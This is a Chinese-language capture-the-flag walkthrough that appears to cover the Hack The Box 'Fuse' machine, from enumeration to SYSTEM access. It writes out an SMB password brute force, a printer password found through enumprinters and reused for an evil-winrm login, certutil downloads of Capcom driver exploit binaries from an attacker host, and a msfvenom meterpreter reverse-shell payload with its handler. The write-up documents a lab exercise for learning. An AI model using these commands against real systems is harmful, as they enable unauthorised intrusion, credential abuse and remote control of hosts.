端口扫描,发现80端口开放

修改/etc/hosts

获得用户名:

pmerton
tlavel
sthompson
bhult
administrator

保存为用户名字典文件user.txt

生成字典

cewl -d 5 -m 3 -w password.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers

使用msf的smb爆破模块暴力破解

成功爆破出密码:tlavel:Fabricorp01

使用smbpasswd登录并修改密码为:Test123456

enumdomusers枚举用户

enumprinters发现密码:$fab@s3Rv1ce$1

这个密码按理说是打印机的密码,但可以远程登录windows,尝试使用前面枚举的用户名进行登录发现用户名“svc-print”登录成功

evil-winrm -u svc-print -p ‘$fab@s3Rv1ce$1’ -i 10.10.10.193

在目录“C:\users\svc-print\Desktop”中找到user.txt

可以通过SeLoadDriverPrivilege提权,关于SeLoadDriverPrivilege提权的具体原理,文末提供了参考资料。

将相关文件放到apache目录下并开启http服务。然后下载相关文件并执行。

certutil -urlcache -split -f http://10.10.14.46/Capcom.sys
certutil -urlcache -split -f http://10.10.14.46/EoPLoadDriver.exe
certutil -urlcache -split -f http://10.10.14.46/ExploitCapcom_v1.exe
certutil -urlcache -split -f http://10.10.14.61/ExploitCapcom_modify.exe
.\EoPLoadDriver.exe System\CurrentControlSet\MyService C:\temp\Capcom.sys
.\ExploitCapcom_v1.exe

能成功提权,但需要开启一个具有system权限的shell

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=10.10.14.21 lport=8083 -f exe -o evil.exe
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter_reverse_tcp
set lhost 10.10.14.46
set lport 8083
set ExitOnSession false
exploit -j -z

将生成的payload放到http目录中,并下载。 然后通过exp以system权限执行payload文件

获得system权限会话

找到root.txt

获取用户凭证

SeLoadDriverPrivilege提权参考资料

https://www.anquanke.com/post/id/148227
https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
https://cloud.tencent.com/developer/article/1180772